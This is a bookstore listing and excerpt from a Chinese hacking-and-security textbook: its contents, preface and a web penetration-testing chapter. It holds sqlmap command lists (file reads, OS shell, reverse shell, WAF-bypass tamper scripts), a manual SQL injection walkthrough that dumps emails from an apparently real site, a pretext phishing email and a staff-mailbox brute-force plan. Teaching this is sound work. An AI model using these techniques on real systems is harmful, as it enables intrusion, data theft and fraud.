描述
开 本: 16开纸 张: 胶版纸包 装: 平装-胶订是否套装: 否国际标准书号ISBN: 9787302479451
? 强调学习方法,独立成章,耐心指导;? 内容从基础到实战,主流技术 完备的知识体系,内容涉及经典Web技术、逆向工程学、社会工程学与无线安全等领域;
全书由10章组成,第1章主要介绍了一些经典、高效的学习方法与基本技能;第2章浅析了当今相关技术的现状与基本概念;第3章讲解通过Web渗透测试来模拟恶意黑客的攻击行为,借此讲解评估计算机网络系统的安全性的方法;第4章讲解比一般的黑盒渗透测试更直观、全面的代码审计的方法与相关知识;第5章从基础原理开始,详细介绍了无线安全的各种应用;第6章从HTML基础开始,详细分析了XSS等前端漏洞的成因、危害以及防御措施;第7章深入浅出地探讨了社会工程学这朵黑客与安全技术中的“奇葩”;第8章通过对多种相关调试工具的使用和实例分析,讲解逆向技术与软件安全的相关知识;第9章通过对各种病毒的调试分析,帮助读者了解并掌握病毒攻防技术及相关知识;第10章介绍了安全领域的一项竞赛——CTF。本书各章都有相应的练习环节,读者可以亲自动手,以便更好地理解相关知识及掌握相关技能。
本书适用于想了解黑客与安全技术的开发人员、运维人员以及对相关技术感兴趣的读者。
第1章
高效学习之道——方法态度经验总结 1
1.1 基本技能 2
1.1.1 编程基础 2
1.1.2 命令提示符 3
1.1.3 虚拟专用网络 3
1.1.4 虚拟机 3
1.2 高效学习方法 6
1.2.1 思维导图 6
1.2.2 曼陀罗思考法 6
1.2.3 番茄工作法 7
1.3 关于“梗” 7
1.4 本章小结 8
第2章
攻防交响曲——网络安全现状浅析 9
2.1 拒绝误导与误解——为黑客正名 10
2.2 害人之心不可有,防人之心不可无 10
2.2.1 “高明”的骗子 10
2.2.2 黑客也有娱乐圈 12
2.2.3 防范钓鱼网站 12
2.3 安全事件敲响警钟 13
2.3.1 CSDN事件 13
2.3.2 12306事件 13
2.3.3 “天河”超级计算机事件 14
2.3.4 新浪微博XSS蠕虫事件14
2.4 开源理念 18
2.5 本章小结 19
第3章 Web 渗透测试——透过攻击看防御21
3.1 渗透信息搜集22
3.1.1 服务器信息搜集 22
3.1.2 Web 信息搜集 23
3.1.3 Whois信息搜集 25
3.1.4 爆破信息搜集 25
3.2 SQL注入 26
3.2.1 注入的挖掘 26
3.2.2 工具注入 28
3.2.3 手工注入 32
3.2.4 注入延伸 35
3.3 爆破36
3.3.1 利用Burp进行爆破 36
3.3.2 爆破在大型Web 站点渗透中的作用 38
3.4 后台问题39
3.4.1 后台地址查找 39
3.4.2 后台验证绕过 41
3.4.3 后台越权 41
3.4.4 后台文件的利用 42
3.5 上传黑盒绕过42
3.5.1 常见的验证方式及绕过 42
3.5.2 具体剖析一些绕过手法 44
3.6 getshell的其他方式45
第4章代码审计——防患于未然 47
4.1 常用的审计工具 48
4.2 SQL注入 51
4.2.1 注入的原理 51
4.2.2 常见的注入 52
4.2.3 http头注入54
4.2.4 二次注入 55
4.2.5 过滤的绕过 59
4.3 XSS审计60
4.4 变量覆盖62
4.4.1 变量初始化 62
4.4.2 危险函数引发的变量覆盖 64
4.5 命令执行64
4.5.1 常见的命令执行函数 65
4.5.2 动态函数 67
4.6 上传绕过68
4.6.1 JavaScript绕过 68
4.6.2 文件头验证绕过 70
4.6.3 逻辑问题 71
4.7 文件包含73
4.7.1 漏洞成因 73
4.7.2 绕过限制 74
4.7.3 任意文件读取 75
4.8 本章小结 75
第5章无线安全详解——四周环绕的信息安全77
5.1 概述78
5.2 无线安全基本原理78
5.2.1 无线通信 78
5.2.2 加密与算法 78
5.2.3 操作系统与实现 79
5.3 算法与协议安全 79
5.3.1 概述 79
5.3.2 WEP 80
5.3.3 WPA(2)/PSK 82
5.4 通信安全85
5.4.1 概述 85
5.4.2 加密网络渗透 85
5.4.3 通信监听 85
5.4.4 已保存热点钓鱼 87
5.5 杂项88
5.5.1 物联网透传 89
5.5.2 移动通信 90
5.5.3 软件无线电 91
5.6 本章小结92
第6章前端安全探秘 93
6.1 前端安全基础知识94
6.1.1 HTML基础94
6.1.2 使用JavaScript 96
6.1.3 URL地址的构成 97
6.2 了解XSS攻击98
6.2.1 XSS攻击原理98
6.2.2 XSS攻击的分类98
6.2.3 XSS的利用100
6.3 CSRF攻击 104
6.3.1 CSRF简介 104
6.3.2 利用CSRF 104
6.4 实战案例演示105
6.4.1 一个导致网站沦陷的反射XSS105
6.4.2 精确打击:邮箱正文XSS108
6.4.3 一次简单的绕过(bypass)演示 110
6.4.4 利用XSS进行钓鱼攻击 114
6.5 前端防御 118
6.6 本章小结 119
第7章初识社会工程学——bug出在人身上 121
7.1 初识社会工程学 122
7.2 社会工程学的基本步骤123
7.2.1 信息搜集 123
7.2.2 巧妙地伪装和大胆地接触目标 124
7.2.3 伪装的艺术 124
7.2.4 交流的技巧 125
7.3 人们经常忽略的安全边界 128
7.3.1 终端机安全 129
7.3.2 无线网中的路由器配置问题 130
7.3.3 管理员对内网环境的盲目自信 130
7.4 社会工程学工具 132
7.4.1 在线工具 132
7.4.2 物理工具 133
7.5 社会工程学的应用133
7.5.1 社会工程学与前端安全 133
7.5.2 社会工程学与渗透测试 134
7.5.3 社会工程学与无线攻击 134
7.6 如何防范社会工程学 134
7.6.1 你的信息安全吗 134
7.6.2 学会识别社会工程学攻击 135
7.7 本章小结135
第8章逆向技术与软件安全 137
8.1 漏洞分析那些事 138
8.1.1 什么是软件漏洞分析 138
8.1.2 漏洞分析的作用 139
8.1.3 strcpy引发的“血案” 146
8.1.4 分析利用漏洞的一些基本技巧 149
8.2 逆向技术基础155
8.2.1 逆向分析揭开蜜罐中神秘工具的面纱 155
8.2.2 从CrackMe到逆向破解技术157
8.2.3 多语言配合完成exploit 163
8.3 本章小结169
第9章病毒不神秘171
9.1 计算机病毒概述 172
9.1.1 计算机病毒的定义 172
9.1.2 计算机病毒的起源与发展 172
9.1.3 计算机病毒的特点、分类与目的 176
9.2 常用工具及病毒分析 178
9.2.1 OD进阶 178
9.2.2 “敲竹杠”病毒分析 186
9.2.3 重要辅助工具 187
9.2.4 虚拟环境搭建 193
9.2.5 病毒实例分析 194
9.2.6 使用WinDbg 进行蓝屏dmp文件分析 211
9.3 病毒其他常用手段介绍216
9.3.1 键盘记录技术 216
9.3.2 DLL注入 220
9.3.3 autorun.inf——风靡一时 230
9.3.4 劫持 231
9.3.5 反虚拟机技术 233
9.3.6 反调试技术 235
9.4 反病毒技术介绍 237
9.4.1 特征码(值)扫描 237
9.4.2 启发式扫描 237
9.4.3 主动防御技术 238
9.4.4 云查杀 238
9.5 Android木马238
9.6 本章小结242
第10章安全技术拓展——CTF243
10.1 CTF简介244
10.1.1 CTF的三种竞赛模式244
10.1.2 知名CTF竞赛244
10.1.3 如何开启CTF之旅246
10.1.4 一些经验 246
附录密码安全杂谈247
“时维九月,序属三秋”。傍晚,夜色如酒,天气微凉,阴雨和乌云笼罩的天空,没有雷鸣轰动、一扫阴霾的气势,仿佛静静地诉说着积蓄已久的孤独。
这份神秘的气息,大概如同多数人对于黑客的认识—— 暗淡的灯光下,一个背影,一袭黑衣,盯着屏幕上闪烁的数据流,嘴角挂着玩世不恭的微笑,轻描淡写地入侵着一个个网站,在网络世界中肆无忌惮地破坏着。
但实际上,黑客真的如同电影中描绘的与人们想象中的那样吗?
这里我要给出否定的答案。黑客无处不在,黑客之所以如此神秘,的原因是人们给“黑客”这个词语,以及一切与黑客相关的事物,蒙上了一层神秘的面纱。
那么,到底什么才是黑客?
“黑客”这个词,其实初曾指热衷于计算机技术、水平高超的计算机专家,尤其是程序设计人员。现在,黑客们活跃在安全领域的一线,依靠着敏锐的感知,发掘、研究并修复各种漏洞。甚至可以这样说:没有黑客,计算机安全将无法进步。黑客其实并不神秘,也并不可怕。你想了解黑客吗?想通过学习黑客与安全知识,去化解来自计算机的恶意攻击吗?那么,本书值得一读。在这条路上你也许会遇到很多在电影中才遇到过的场景和人物,可无论走得多远,也请务必记住:心存敬畏,莫生邪念。引用谷歌公司一句不成文的口号就是:Don’t be Evil。
黑客与安全的世界广阔无边,本书涵盖的内容只是沧海一粟,我们试图用典型的技术和精炼的语言,向读者朋友们呈现一个精彩的、属于黑客的神秘技术世界。
我们不会把“以提高计算机领域安全水平为目标”这样空洞的口号挂在嘴边,学习也并不是靠嘴说说就行。我们要做的,就是影响正在认真阅读本书的读者,传达正确的观念、知识以及学习方法,让读者更深刻地了解黑客,学习安全技术,通过钻研黑客与安全技术,从而在计算机世界中更好地保护自己。
本书共10章,各个章节独立却又相互关联,知识点之间也有相互影响的地方,虽然每章之间的关联性不是那么强,不过在内容安排上是按照由浅入深设计。作为一本黑客与安全技术的启蒙书,我们尽量照顾初学者,但仍然有很多基础知识需要新手朋友们自己去钻研,毕竟,自己“折腾”的过程也是相当重要的,不是吗?
由于信息技术的更新迭代速度十分惊人,时效性较强,所以我们拟建mapers.net社区以供读者朋友们交流,希望可以在计算机安全的道路上助读者一臂之力。
■ 本书适合的人:. 认真的人;. 愿意花时间钻研知识而不是沉迷于游戏的人;. 善于遇到问题先独立寻找答案的人。
■ 与本书无缘的人:. 浮躁的人;. 希望速成的人;. 仅仅是觉得黑客很酷而决定学习黑客技术的人;. 抱着不良目的的人。
■ 致谢首先感谢在计算机黑客与安全领域不断钻研的前辈们,给我们留下了丰富的学习资源,让我们得以站在巨人的肩膀上,向更远的未来眺望。感谢清华大学出版社编辑老师们对本书做出的贡献,他们认真地审读和修改,保证了本书的质量,也感谢他们对我的耐心指导。感谢参与本书编写和为本书出谋划策的朋友们,他们是陈梓涵、田健、周慧娴、孟爻、K0sh1、白三、Ricky。
感谢 D3AdCa7 在CTF知识方面给予笔者的建议,让笔者这个CTF新手也能“装模作样”地写出一点东西;感谢病毒吧@王And木提供“病毒不神秘”章节中几例病毒样本及分析过来,使得本书在病毒方面的知识更加详尽。
后要感谢我的亲人和老师,可能我不是一个传统意义上的好孩子,为了自己的梦想而忽视了你们的感受,特别是我的父母,实在很抱歉,希望你们能慢慢理解儿子的执着,期待着你们支持我的那一天,我爱你们。
王成
Web渗透测试——透过攻击看防御
何谓Web渗透测试(Penetration Test)?相信大家对Web都不陌生,渗透测试一般是指通过模拟黑客的恶意攻击,来评估计算机网络系统的安全性,若发现系统存在漏洞,则提交渗透报告给被测试系统的拥有者,并提供修复方案。本章将通过对Web应用及服务器的渗透测试,带各位详细了解渗透测试的方法和技能。本章知识涉及的内容较为分散,希望读者能够掌握学习技巧,务必亲自动手实践,“熟”方能生“巧”。3.1 渗透信息搜集信息搜集是Web渗透的步,也是至关重要的一步(实际上除了Web渗透,很多工作的步都是信息搜集)。一次完整的渗透过程是漫长的,前期信息搜集可以让人们初步了解渗透目标,而后期信息搜集却往往是成功的关键。任何攻击与防御之间的较量,都是基于信息的掌控程度,在信息不对等的情况下,很容易出现误判或失误。在安全行业团队的测试中,信息搜集被视为“重要,耗时”的一个步骤,甚至有专门的成员负责信息的搜集与分析。下面我们来了解一些常用的信息搜集技巧(这里使用的词语是“信息搜集”而非“信息收集”,是因为“搜”字能更好地体现出归纳整理的含义,有一定的选择性和方向性)。3.1.1 服务器信息搜集1. 旁站何谓旁站攻击?就是一个服务器上有多个Web站点,而我们的渗透目标是其中的一个Web站点,当我们无法拿下目标站点时,则可以尝试对服务器上的其他站点进行渗透,然后再通过跨目录或提权等方法拿下目标站点。常见的旁站查询流程如下。(1)获得渗透目标的真实IP地址。(2)利用网站平台、工具反查IP地址。2. 端口扫描一台计算机开放的端口和它开放的服务是对应的,而渗透测试人员可以通过端口扫描大致了解目标开放了哪些服务,如80端口对应了HTTP服务,3306端口对应了MySQL数据库,1433端口对应了MSSQL数据库。通过对开放端口的分析,我们便可以大致知道目标网站使用了什么数据库,并可以尝试进行数据库的爆破。此外,端口扫描对后台的查找和后期的提权也是至关重要的。那常见的端口扫描方式又有哪些呢?(1)在线平台。很多平台都提供端口扫描的功能,并且提供常见服务的默认端口,如图3-1所示。
图3-1 在线端口扫描平台(2)工具。端口扫描工具如图3-2所示。3.1.2 Web信息搜集1. 二级域名在对一些大型网站进行渗透测试时,主站很难直接发现漏洞,而子站容易出现问题。例如SQL注入,往往因为数据库的配置不严谨,导致黑客可以利用子站的注入进行跨库,或者拿下子站的服务器,利用内网危害到主站的安全。图3-3便是用一个Python的脚本来对百度的二级域名爆破的结果。
图3-3 利用脚本爆破出211个子域名2. 目录信息在渗透中,目录是极为重要的信息。如果得到了根目录,便可以结合注入进行GetShell(取得权限),如果有了Web目录,便可以尝试对后台地址进行爆破,对后台文件进行猜解。由此可见目录的重要性,而获得目录的常见方法如下所述。(1)phpinfo和探针文件。phpinfo文件如图3-4所示。
图3-4 phpinfo文件PHP探针文件如图3-5所示。
图3-5 PHP探针文件(2)搜索引擎。在渗透中,搜索引擎是一把利器,尝试用搜索引擎的语法,往往会有意想不到的收获。下面是一些常用的搜索引擎语法。domain:用domain命令可以查找跟某一网站的相关信息。filetype:限制查找文件的格式类型。目前可以查找的文件类型有.pdf/.doc/.xls/.ppt/.rtf。inurl:限定查询匹配只搜索URL链接。link:网站外链接查询。site:网站整站搜索引擎收录查询。intitle:搜索网页标题中含有的关键词。(3)扫描器。对渗透目标用常见的目录进行暴力破解。此方法往往对那些安全性较低的网站有效。(4)爬虫。爬虫在渗透中起着很重要的作用,用来发现一些隐蔽的目录。3.1.3 Whois信息搜集Whois即域名查询协议,是用来查询域名的IP地址以及所有者等信息的传输协议。网络上有很多提供Whois查询的平台,如图3-6所示,将目标域名输入查询,便可以看到目标站点的域名服务器、DNS服务器以及其他隐私信息。
图3-6 Whois查询结果3.1.4 爆破信息搜集“爆破”是一种形象的说法,即暴力破解,一般使用穷举或字典(大量数据集合)列举的方法。在渗透测试中,爆破的作用非常重要。特别是针对一些大型企业的内部系统,很多员工为了使用方便,而忽略了密码的安全性,常常使用一些弱口令作为密码,而用户名往往就是其姓名或拼写。黑客可能尝试利用搜索引擎和社工库对渗透目标的员工名单进行搜集,然后进行密码字典生成和爆破。防范这种攻击的方式,一是增加验证,让暴力破解无法进行,例如验证码;二是提高密码安全性,这在附录中会详细探讨。3.2 SQL注入SQL注入曾在几年前就流行于世,而如今,SQL注入仍是流行的攻击手段之一,开发者们对其伤透了脑筋。当然,主要是由于注入攻击的灵活性,一个目的,多个语句,多个写法。SQL注入可以分为工具和手工两类,工具因为自动化,常常会比手工高效很多,但因为其并不是有针对性地进行注入,相比手工注入就局限了很多。3.2.1 注入的挖掘一切输入都可能有危害,有参数的地方皆有可能存在SQL注入。而由于浏览器的局限性,常常会忽略一些隐藏链接、API调用、http头中的参数。那如何进行全面的SQL注入挖掘呢?这里需要用到工具Burp。由图3-7可以看到操作时向Web站点发送的每个http数据包。数据包中包含了http头和传递的参数,而注入常常就发生在这些参数中,图3-8简单分析了http数据包的结构 (大方框为http头,小方框为参数) 。
图3-7 对站点操作时的数据包
图3-8 分析了http数据包的结构大致了解了数据包结构以后,便可以开始进行注入的挖掘了。所谓挖掘,就是判断某个参数是否可以进行注入。下面来探讨一下常见的判断方法。1. 报错注入一般情况下,大部分编程语言为了方便开发人员可以灵活地调试和修复其应用程序,会使用一些内置的错误处理库,从而简化调试程序的时间。而报错注入就是输入一些特殊字符使语法产生错误,从而判断是否存在注入,常见的特殊字符如下。(1)’(2)(3);(4)%00(5))(6)((7)#(8)”在提交参数时加上这些特殊字符,如果报错,那么极有可能是一个注入点,如图3-9所示。
图3-9 单引号报错实例2. 盲注何为盲注?其实盲注和报错注入是相对的,报错注入会返回一些数据库的具体信息,而盲注只会返回true与false两种值,从而对想得到的信息进行猜解;因此相比报错注入,盲注的效率较为低下。常见的盲注分为两种,布尔型盲注和基于时间的盲注。这两者的区别在于判断注入的条件不同。布尔型盲注是对页面响应的信息进行判断,而基于时间的盲注也就是常说的延迟注入,是对页面响应的时间进行判断。对于布尔型盲注,在网站默认关闭错误信息时,如果这时并没有做其他处理,可以通过逻辑表达式来进行盲注。大概的原理是:如果笔者的逻辑表达式是正确的,整个SQL查询语句一定会返回结果,那么网站显示了正确的内容。基于这个原理,可以通过注入依次获取每个字符。常见的判断方法中经典的便是and 1=1;and 1=2了,当提交and 1=1时页面正常,and 1=2时页面不正常,则存在注入。不过,这种判断方法是针对数字型参数的,与其类似的还有or 2>1;or 1>2;xor 1=1;xor 1=2等。但对于字符型参数,常用的语句是’ and ‘1’ = 1 ; ‘ and ‘1’ = 2,其判断方法和数字型相同。对于基于时间的盲注,一般是在条件更为苛刻的情况下(例如终进行了跳转)使用的一种注入的方式。以MySQL为例,对其的判断方法主要涉及sleep和benchmark两个函数,这里以benchmark函数为例进行介绍。BENCHMARK(count,expr)其作用是重复count次执行表达式expr,提交后根据其响应时间来判断表达式正确与否,是否存在注入。当然,延迟注入一般都交给工具或脚本去分析,能大大提高准确性和效率。3.2.2 工具注入随着注入攻击的流行,市场上工具的种类也较为繁多。常见的有sqlmap、Havij等,其中sqlmap因为免费、开源、功能强大等特点,受到了广大使用者的推崇。本节便来详细讲解Windows系统下sqlmap的使用。1. sqlmap的安装(1)sqlmap需要在Python环境下才能运行,因此在安装sqlmap之前需要安装Python。在Windows下,下载并运行Python的安装包,Python由于2.x版本与3.x版本性能上有一定差异,所以我们使用2.7.2版本(Python的版本问题是个很有趣的话题,各位如果感兴趣可以自己查找资料进行了解),如图3-10所示。(2)安装完成后,需要添加环境变量。安装路径是D:python,执行“我的电脑”→“属性”命令,打开“高级”选项卡,如图3-11所示。 图3-10 Windows环境下安装Python 图3-11 配置运行环境 (3)单击“环境变量”按钮,在path中添加D:python(安装路径)并保存,如图3-12所示。(4)Python安装配置完毕后,下载sqlmap的压缩包并解压,解压路径是D:pythonsqlmap。打开命令提示符,用cd命令切换到sqlmap解压路径,试着运行一下sqlmap.py,检查其是否安装成功,如图3-13所示。 图3-12 设置环境变量 图3-13 检查是否安装成功2. sqlmap的使用sqlmap是一款半自动化工具,需要手动输入命令进行注入。常见的命令如下(这里假设目标URL为http://url/news?id=1)。
sqlmap.py -u “http://url/news?id=1” –current-user #获取当前用户名称sqlmap.py -u “http://url/news?id=1” –current-db #获取当前数据库名称sqlmap.py -u “http://url/news?id=1” –tables -D “db_name” #列表名sqlmap.py -u “http://url/news?id=1” –columns -T “tablename” users-D “db_name” -v 0 #列字段sqlmap.py -u “http://url/news?id=1” –dump -C “column_name” -T “table_name” -D “db_name” #获取字段内容sqlmap.py -u “http://url/news?id=1” –smart –level 3 –users #smart智能 level 执行测试等级sqlmap.py -u “http://url/news?id=1” –dbms “Mysql” –users #dbms指定数据库类型sqlmap.py -u “http://url/news?id=1” –users #列数据库用户sqlmap.py -u “http://url/news?id=1” –dbs #列数据库sqlmap.py -u “http://url/news?id=1” –passwords #数据库用户密码sqlmap.py -u “http://url/news?id=1” –passwords-U root -v 0 #列出指定用户数据库密码sqlmap.py -u “http://url/news?id=1” –dump -C “password,user,id” -T “tablename” -D “db_name”–start 1 –stop 20 #列出指定字段,列出20 条sqlmap.py -u “http://url/news?id=1” –dump-all -v 0 #列出所有数据库和表sqlmap.py -u “http://url/news?id=1” –privileges #查看权限sqlmap.py -u “http://url/news?id=1” –privileges -U “WEB_USR” #查看指定用户权限sqlmap.py -u “http://url/news?id=1” –is-dba -v 1 #是否是数据库管理员sqlmap.py -u “http://url/news?id=1” –roles #枚举数据库用户角色sqlmap.py -u “http://url/news?id=1” –udf-inject #导入用户自定义函数(获取系统权限!)sqlmap.py -u “http://url/news?id=1” –dump-all –exclude-sysdbs -v 0 #列出当前库所有表sqlmap.py -u “http://url/news?id=1” –union-cols #union 查询表记录sqlmap.py -u “http://url/news?id=1” –cookie “cookie” #cookie注入sqlmap.py -u “http://url/news?id=1” -b #获取banner信息sqlmap.py -u “http://url/news?id=1” –data “SearchValue=请输入关键 字&sId=1” #post注入sqlmap.py -u “http://url/news?id=1” -v 1 -f #指纹判别数据库类型sqlmap.py -u “http://url/news?id=1″ –proxy”http://127.0.0.1:8118” #代理注入sqlmap.py -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE” #指定关键词sqlmap.py -u “http://url/news?id=1” –sql-shell #执行指定sql命令sqlmap.py -u “http://url/news?id=1” –file /etc/passwdsqlmap.py -u “http://url/news?id=1” –os-cmd=whoami #执行系统命令sqlmap.py -u “http://url/news?id=1” –os-shell #系统交互shellsqlmap.py -u “http://url/news?id=1” –os-pwn #反弹shellsqlmap.py -u “http://url/news?id=1” –reg-read #读取win系统注册表sqlmap.py -u “http://url/news?id=1” –dbs-o “sqlmap.py.log” #保存进度sqlmap.py -u “http://url/news?id=1” –dbs -o “sqlmap.py.log” –resume #恢复已保存进度sqlmap.py -g “google语法” –dump-all –batch #google搜索注入点自动跑出所有字段3. 对WAF的绕过在实际注入测试中,遇到WAF(Web Application Firewall,网站应用级入侵防御系统)是常有的事,我们可以绕过WAF继续进行注入检测,本节讨论sqlmap对WAF的绕过。在sqlmap中,用-tamper命令可以调用内置的绕过脚本,具体语法格式如sqlmap.py -u “url” -v 1 –dbs -tamper “脚本名”。表3-1是常用的脚本名及作用。表3-1 sqlmap常用脚本名及其作用脚 本 作 用apostrophemask.py 用utf-8代替引号equaltolike.py like 代替等号space2dash.py 绕过过滤’=’ 替换空格字符(”)greatest.py 绕过过滤’>’,用GREATEST替换大于号space2hash.py 空格替换为#号、随机字符串以及换行符apostrophenullencode.py 绕过过滤双引号,替换字符和双引号halfversionedmorekeywords.py 每个关键字之前添加MySQL版本评论space2morehash.py 空格替换为#号以及更多随机字符串和换行符appendnullbyte.py 在有效负荷结束位置加载零字节字符编码ifnull2ifisnull.py 绕过对 IFNULL 过滤space2mssqlblank.py 空格替换为其他空符号base64encode.py 用base64编码替换space2mssqlhash.py 替换空格modsecurityversioned.py 过滤空格,包含完整的查询版本注释space2mysqlblank.py 空格替换其他空白符号(mysql)between.py 用between替换大于号(>)space2mysqldash.py 替换空格字符(”)(’– ‘)后跟一个破折号注释一个新行(’n’)multiplespaces.py 围绕SQL关键字添加多个空格space2plus.py 用 替换空格bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句, 然后替换=为likenonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””))filtersspace2randomblank.py 代替空格字符(””)从一个随机的空白字符可选字符的有效集sp_password.py 追加sp_password,从DBMS日志的自动模糊处理的有效载荷的末尾chardoubleencode.py 双URL编码(不处理已编码的)unionalltounion.py 替换UNION ALL SELECT UNION SELECTcharencode.py URL编码randomcase.py 随机大小写unmagicquotes.py 宽字符绕过 GPC addslashesrandomcomments.py 用/**/分割SQL关键字charunicodeencode.py 字符串 Unicode 编码securesphere.py 追加特制的字符串versionedmorekeywords.py 注释绕过halfversionedmorekeywords.py 关键字前加注释
3.2.3 手工注入在渗透测试中,再强大的注入工具也会有局限性,而手工注入恰恰能解决这一弱点。当然,手工注入需要渗透者对其针对的数据库语法有一定了解。不过,因为SQL注入的灵活性与多样性,如果详细深入地讲,恐怕能单独写成一本书。在这里,笔者就选取代表性的例子给大家示范。(1)对渗透目标进行注入的挖掘,这里对挖掘的过程就不再赘述了。确定了注入点,便可以开始进行注入测试了,如图3-14所示。
图3-14 MySQL查询语句示例注意:这里用到了Burp的repeater功能。由图3-14可以看到POST下的参数topic_title存在报错注入,这里提交了单引号,返回了错误信息。错误信息中返回了出错的查询语句如下:
SELECT ‘aws_topic’.* FROM ‘aws_topic’ WHERE ( topic_title = ”’) ORDER BY ‘topic_id’ ASC
(2)这是一条MySQL查询语句。再来看看提交的数据位于语句的什么位置,提交xx’,可以看到查询语句如下:SELECT ‘aws_topic’.* FROM ‘aws_topic’ WHERE ( topic_title = ‘xx”) ORDER BY ‘topic_id’ ASC(3)确定了提交的数据所处位置,便可以用闭合语句试试。假设这里提交的是xx’) #,于是查询语句就变成了:SELECT ‘aws_topic’.* FROM ‘aws_topic’ WHERE ( topic_title = ‘xx’) #’) ORDER BY ‘topic_id’ ASC而#在MySQL中是注释符,所以实际上查询语句变成了:SELECT ‘aws_topic’.* FROM ‘aws_topic’ WHERE ( topic_title =’xx’) (4)成功闭合。因此构造的语句格式应该是:
‘) 注入语句 #
(5)知道注入语句的格式了,再来看看查询语句本身,因为是在WHERE后面,所以只能用联合查询或者盲注进行注入。先用ORDER BY 进行猜解,可以看到ORDER BY 16时正常返回,而ORDER BY 17时报错。因此可以构造:’) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #如图3-15所示,提交后正常返回,因此可以判断是支持联合查询的。
图3-15 联合查询(6)用user()、database()等函数代进去查询试试。’) UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #提交后,结果如图3-16所示。
图3-16 查询数据库用户名可以看到user为ask@*.*.61.105,再将user()替换成database()试试。如图3-17所示,这里可以看到数据库为ask,接下来继续爆破表名。构造:’) union select group_concat(distinct table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables where table_schema=database() #
图3-17 查询数据库名提交后,如图3-18所示,可以看到表名已经在返回的信息中了。
图3-18 成功返回表名将表名整理出来,可以清楚地看到表结构,如图3-19所示。
图3-19 表结构示意图选一个表进行爆破字段,这里选的是aws_edm_userdata,其hex值为0x6177735f65646d5f7573657264617461,因此构造如下语句:’) union select 1,group_concat(distinct column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.columns where table_name=0x6177735f65646d5f7573657264617461 #结果如图3-20所示。
图3-20 返回字段从结果中可以看到存在id、usergroup、email三个字段,这里只暴露出email字段的数据,提交如下语句:’) union select 1,group_concat(email,0x2B),3,4,5,6,7,8,9,10,11,12,13,14,15,16 from aws_edm_userdata #结果如图3-21所示。
图3-21 注入结果3.2.4 注入延伸在注入中经常会碰到的一种情况就是:注入得到的加密过的密文却解不开。对于此问题,在这里讲解几种可行的办法。(1)利用国外的搜索引擎,往往会有意想不到的收获,常见的是Google。(2)用Whois查出管理员邮箱,然后发一份邮件通知管理员,让其更改密码。邮件内容无非类似于“我们是×××检测中心,您的网站存在风险,请立即修改管理员密码……”。(3)分析Cookie。有时加密过的密文会出现在Cookie里,对于这种情况,直接用管理员的密文替换原来Cookie中的密文即可。(4)在特定的注入环境下,有时候可以用新密文替换掉原来的密文。当然,这种方法的执行条件比较苛刻,在实际中较少碰见。(5)利用找回密码功能。常见的是利用密保问题找回密码,对于这种情况,可以将密保问题答案注入出来,然后利用找回密码功能成功登录目标账户。(6)逻辑缺陷。例如有些登录功能、修改找回密码功能,在数据包中直接用密文传输。这时,就可以用得到的密文进行替换,从而进行登录、更改密码等操作。3.3 爆破3.3.1 利用Burp进行爆破Burp是Web渗透中用于爆破的常用的工具,其操作极其简单,只需要简单几步即可实现爆破:抓包,设置变量,加载字典进行攻击,返回信息。本节具体讲述如何操作。(1)对浏览器的代理进行设置,具体过程这里就不阐述了。设置完毕后,打开目标站点。(2)如图3-22所示,这里随意使用用户名admin,密码123456登录,登录失败。在Burp中可以看到刚才登录操作的数据包,如图3-23所示。
图3-22 目标爆破页面(3)单击Burp工具界面右上角的Action按钮,可以看到如图3-24所示的下拉菜单栏。 图3-23 登录操作发送的数据包 图3-24 Action下拉菜单栏(4)选择Send to Intruder,单击该命令后回到Burp的主界面,如图3-25所示,可以看到主界面的Intruder选项卡会加亮显示。(5)切换到Intruder选项卡,单击Positions选项,如图3-26所示,可以看到刚才抓到的数据包。
图3-25 数据包成send to intruder
图3-26 登录包(6)可以看到数据包中有些字符被标注起来了,这是Burp对变量的自动判断并标注。单击Clear§按钮,这里只对密码进行字典替换,所以选中123456,然后单击Add§按钮。(7)如图3-27所示,此时123456已经被设为变量了,接下来只需加载字典文件,对其进行替换,并提交数据包就可以进行爆破了。选中Payloads选项卡,单击Load按钮,进行字典文件的加载。
图3-27 设置爆破变量(8)如图3-28所示,字典文件加载完毕,便可以进行爆破了。选中上方Intruder选项卡,单击Start attack命令,如图3-29所示。
图3-28 字典文件成功加载
图3-29 准备开始爆破(9)这时可以看到返回信息在不停滚动。待字典跑完后,分析返回数据Length,找出正确密码。如图3-30所示,是目标站点的爆破结果,可以看到除了admin返回的Length是370,其他的都是354,因此判断admin为正确密码。
图3-30 爆破结束Tips:可以通过Length值的排序来快速找出数值不同的项。当然,如今很多Web站点都有验证码。但是,验证码依旧存在被绕过的风险,利用Python Image Library、Tesseract-OCR、pytesser这几个Python第三方库,仅二值化、文字分割两个选项就能轻松识别互联网60%以上的验证码。3.3.2 爆破在大型Web站点渗透中的作用在对大型Web站点的渗透中,一般不会直接将目标放到主站上,而是从子站入手。大家都知道,一个大型站点一定有些内部人员登录的系统。而对于这类系统,安全往往掌握在用户手里,因为很多安全公司认为某个系统只有固定的一些内部账号能登录,而其里面的一些操作引发的安全问题便不是那么重要了,因此开发中常常会有很多疏忽。这种情况下,内部人员密码的强弱就显得格外重要,但是弱口令仍是常发生的问题。就拿内部邮件系统来说,不妨假设渗透目标是某著名网络安全公司A,其域名是www.aaa.com,通过二级域名的爆破,发现了其内部邮件系统mail.aaa.com。大家都知悉,一般企业邮箱的格式都为:用户名@公司的域名,所以这里登录的账号格式应该是:用户名@aaa.com。接下来,可以用搜索引擎对@aaa.com进行搜索,很快便可以发现用户名的命名规则,而一般都是以员工姓名拼写作为用户名。接下来,尝试用爬虫将搜索引擎能搜索到的员工名字都爬下来,搭建过交互站点的人都知道,如果不对密码的复杂度作要求,总会有些人使用123456、88888888这样的弱口令作为密码,而爆破就是利用这一特性。所以尽可能多地搜集其员工的名字。当员工名字搜集完毕以后,便可以将其做成用户名的字典文件,然后选取一些常见的弱口令,将密码设为不变量,用户名设为变量,从而进行用户名的爆破。当成功地爆破出某个账户的账号、密码后,尝试利用人的惰性和密码的通用性通杀其他系统,可以大大提高渗透效率。3.4 